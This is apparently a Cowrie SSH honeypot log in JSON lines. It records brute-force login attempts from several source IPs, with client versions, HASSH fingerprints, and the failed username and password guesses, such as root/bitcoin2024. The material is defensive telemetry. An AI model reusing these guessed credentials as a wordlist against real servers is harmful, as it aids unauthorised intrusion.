{"eventid":"cowrie.login.failed","username":"root","password":"metamask456","message":"login attempt [root/metamask456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:45.285777Z","src_ip":"194.36.147.215","session":"871989981f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:46.375029Z","src_ip":"194.36.147.215","session":"871989981f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":38320,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a8658b28bcc","protocol":"ssh","message":"New connection: 101.36.119.203:38320 (10.17.0.5:22) [session: 7a8658b28bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:02:27.495074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:02:27.502031Z","src_ip":"101.36.119.203","session":"7a8658b28bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:02:27.720723Z","src_ip":"101.36.119.203","session":"7a8658b28bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Uz123456","message":"login attempt [root/Uz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:02:28.630821Z","src_ip":"101.36.119.203","session":"7a8658b28bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:02:29.852935Z","src_ip":"101.36.119.203","session":"7a8658b28bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":54922,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0e36d9d10b7","protocol":"ssh","message":"New connection: 101.36.119.203:54922 (10.17.0.5:22) [session: c0e36d9d10b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:11.639935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:11.644366Z","src_ip":"101.36.119.203","session":"c0e36d9d10b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:11.857307Z","src_ip":"101.36.119.203","session":"c0e36d9d10b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123#","message":"login attempt [root/P@ssw0rd123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:12.740635Z","src_ip":"101.36.119.203","session":"c0e36d9d10b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:13.957111Z","src_ip":"101.36.119.203","session":"c0e36d9d10b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.185.61","src_port":63978,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f1691bf123d","protocol":"ssh","message":"New connection: 87.156.185.61:63978 (10.17.0.5:22) [session: 7f1691bf123d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:47.306082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:47.899150Z","src_ip":"87.156.185.61","session":"7f1691bf123d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:48.004015Z","src_ip":"87.156.185.61","session":"7f1691bf123d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password01","message":"login attempt [ubuntu/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:49.943391Z","src_ip":"87.156.185.61","session":"7f1691bf123d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:04:51.061635Z","src_ip":"87.156.185.61","session":"7f1691bf123d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":60696,"dst_ip":"159.203.135.109","dst_port":22,"session":"e82a587cffc4","protocol":"ssh","message":"New connection: 176.32.39.21:60696 (159.203.135.109:22) [session: e82a587cffc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:09.472065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:09.476042Z","src_ip":"176.32.39.21","session":"e82a587cffc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:09.591256Z","src_ip":"176.32.39.21","session":"e82a587cffc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140779","message":"login attempt [root/140779] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:09.937066Z","src_ip":"176.32.39.21","session":"e82a587cffc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:11.054390Z","src_ip":"176.32.39.21","session":"e82a587cffc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":64794,"dst_ip":"159.203.135.109","dst_port":22,"session":"925b4a6bccd6","protocol":"ssh","message":"New connection: 147.45.199.80:64794 (159.203.135.109:22) [session: 925b4a6bccd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:29.357227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:29.358986Z","src_ip":"147.45.199.80","session":"925b4a6bccd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:29.470147Z","src_ip":"147.45.199.80","session":"925b4a6bccd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdert","message":"login attempt [root/asdert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:29.808898Z","src_ip":"147.45.199.80","session":"925b4a6bccd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:30.922887Z","src_ip":"147.45.199.80","session":"925b4a6bccd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":53780,"dst_ip":"10.17.0.5","dst_port":22,"session":"74c83032c387","protocol":"ssh","message":"New connection: 162.214.22.174:53780 (10.17.0.5:22) [session: 74c83032c387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:39.738510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:39.743094Z","src_ip":"162.214.22.174","session":"74c83032c387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:39.825050Z","src_ip":"162.214.22.174","session":"74c83032c387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitcoin2024","message":"login attempt [root/bitcoin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:40.072393Z","src_ip":"162.214.22.174","session":"74c83032c387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:42.011692Z","src_ip":"162.214.22.174","session":"74c83032c387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":43362,"dst_ip":"159.203.135.109","dst_port":22,"session":"9393a1369375","protocol":"ssh","message":"New connection: 162.215.213.210:43362 (159.203.135.109:22) [session: 9393a1369375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:44.935714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:44.939465Z","src_ip":"162.215.213.210","session":"9393a1369375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:45.021520Z","src_ip":"162.215.213.210","session":"9393a1369375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iota123","password":"iota123","message":"login attempt [iota123/iota123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:45.267505Z","src_ip":"162.215.213.210","session":"9393a1369375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:47.208868Z","src_ip":"162.215.213.210","session":"9393a1369375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":50232,"dst_ip":"10.17.0.5","dst_port":22,"session":"036eef167ce4","protocol":"ssh","message":"New connection: 101.36.119.203:50232 (10.17.0.5:22) [session: 036eef167ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:52.533585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:52.536605Z","src_ip":"101.36.119.203","session":"036eef167ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:52.752388Z","src_ip":"101.36.119.203","session":"036eef167ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello2024","message":"login attempt [root/Hello2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:53.651560Z","src_ip":"101.36.119.203","session":"036eef167ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:05:54.870782Z","src_ip":"101.36.119.203","session":"036eef167ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"219.79.56.86","src_port":40185,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d4109d0b15c","protocol":"ssh","message":"New connection: 219.79.56.86:40185 (159.203.135.109:22) [session: 6d4109d0b15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:06:36.383792Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:06:36.563925Z","src_ip":"219.79.56.86","session":"6d4109d0b15c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":44776,"dst_ip":"10.17.0.5","dst_port":22,"session":"99287599922e","protocol":"ssh","message":"New connection: 103.176.20.57:44776 (10.17.0.5:22) [session: 99287599922e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:04.597309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:04.601536Z","src_ip":"103.176.20.57","session":"99287599922e","protocol":"ssh"}
